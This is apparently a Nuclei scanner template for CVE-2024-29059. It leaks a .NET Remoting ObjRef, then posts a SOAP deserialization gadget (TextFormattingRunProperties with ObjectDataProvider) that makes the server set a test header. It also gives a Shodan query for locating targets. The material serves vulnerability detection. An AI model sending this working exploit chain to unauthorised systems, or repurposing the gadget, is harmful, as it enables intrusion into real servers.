.NET Framework - Leaking ObjRefs via HTTP .NET Remoting

id: CVE-2024-29059

info:
  name: .NET Framework - Leaking ObjRefs via HTTP .NET Remoting
  author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch
  severity: high
  description: .NET Framework Information Disclosure Vulnerability
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29059
    - https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/
    - https://github.com/codewhitesec/HttpRemotingObjRefLeak
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29059
    epss-score: 0.00043
    epss-percentile: 0.07503
    cpe: cpe:2.3:a:microsoft:.net_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: 'Server: MS .NET Remoting'
    vendor: microsoft
    product: .net_framework
  tags: cve,cve2024,dotnet,microsoft,remoting,deserialization

http:
  - raw:
      - |
        GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
        Host: {{Hostname}}
        __RequestVerb: POST
        Content-Type: text/xml

      - |
        POST {{objref}} HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml

        <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
        <ForegroundBrush id="ref-3">&#60;ObjectDataProvider MethodName=&#34;AddHeader&#34;
          xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
          xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
          xmlns:System=&#34;clr-namespace:System;assembly=mscorlib&#34;
          xmlns:System.Web=&#34;clr-namespace:System.Web;assembly=System.Web&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;&#60;ObjectDataProvider MethodName=&#34;get_Response&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider ObjectType=&#34;{x:Type System.Web:HttpContext}&#34; MethodName=&#34;get_Current&#34; /&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;/ObjectDataProvider&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider.MethodParameters&#62;
          &#60;System:String&#62;X-Vuln-Test&#60;/System:String&#62;
          &#60;System:String&#62;{{randstr}}&#60;/System:String&#62;
          &#60;/ObjectDataProvider.MethodParameters&#62;
        &#60;/ObjectDataProvider&#62;</ForegroundBrush>
        </a1:TextFormattingRunProperties>
        </SOAP-ENV:Envelope>

    extractors:
      - type: regex
        name: objref
        part: body_1
        group: 1
        regex:
          - "(/[0-9a-f_]+/[0-9A-Za-z_+]+_[0-9]+\\.rem)"
        internal: true

      - type: dsl
        dsl:
          - x_vuln_test

    matchers:
      - type: dsl
        dsl:
          - "contains(body_1,'ObjRef')"
          - "contains(x_vuln_test,'{{randstr}}')"
        condition: and
# digest: 490a00463044022075eae4fa0532f3bf10a0c94bd222dc4fd59b85ae03a5e0d02f2cd542a4069e5402206cfa5cdac2a1493b73fd82d8668018e591c958cf6d0dfd4e44786def094a509a:922c64590222798bb761d5b6d8e72950